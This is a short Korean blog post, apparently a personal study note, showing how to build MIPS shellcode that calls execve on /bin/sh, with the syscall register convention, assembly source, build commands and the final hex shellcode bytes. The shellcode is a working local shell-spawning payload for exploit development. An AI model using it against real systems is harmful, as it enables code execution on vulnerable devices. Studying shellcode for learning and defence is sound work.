mips

mips shellcode

K0n9 2025. 3. 18. 07:54

execve("/bin/sh",0,0) 를 실행하는 main 함수의 어셈블리 코드는 다음과 같다.

assembly code

mips도 execve 함수 내부에서 syscall 이 이루어진다.

syscall

x64에서는 syscall이 호출되었을 때 rax 값에 따라 어떤 작업을 수행할 지 결정되는데 misp는 해당 역할을 v0이 수행한다.

 

인자 순서는 a0, a1, a2 순서이다.

syscall 직전에 레지스터 값을 확인해보자.

v0 : 0xfab

a0 : "/bin/sh" 주소

a1 : 0

a2 : 0

 

이제 쉘코드를 만들어 보자.

 

다음과 같이 어셈블리코드를 짤 수 있다.

.section .text
    .globl _start

_start:

    li $t0, 0x2f62696e
    sw $t0, ($sp)
    li $t0, 0x2f2f7368
    sw $t0, 4($sp)
    move $a0, $sp

    li $v0, 4011
    syscall

 

mips-linux-gnu-as -o sss.o sss.asm
mips-linux-gnu-ld -o sss sss.o -e _start

 

쉘 획득

 

성공적으로 쉘을 획득하였다.

 

쉘 코드는 다음과 같다.

\x3c\x08\x2f\x62\x35\x08\x69\x6e\xaf\xa8\x00\x00\x3c\x08\x2f\x2f\x35\x08\x73\x68\xaf\xa8\x00\x04\x03\xa0\x20\x25\x24\x02\x0f\xab\x00\x00\x00\x0c

경우에 따라서 a1, a2를 0으로 set 해야 할 수 있다.


 

 

 

 

<틀린 부분이 있다면 비난과 욕설을 해주세요>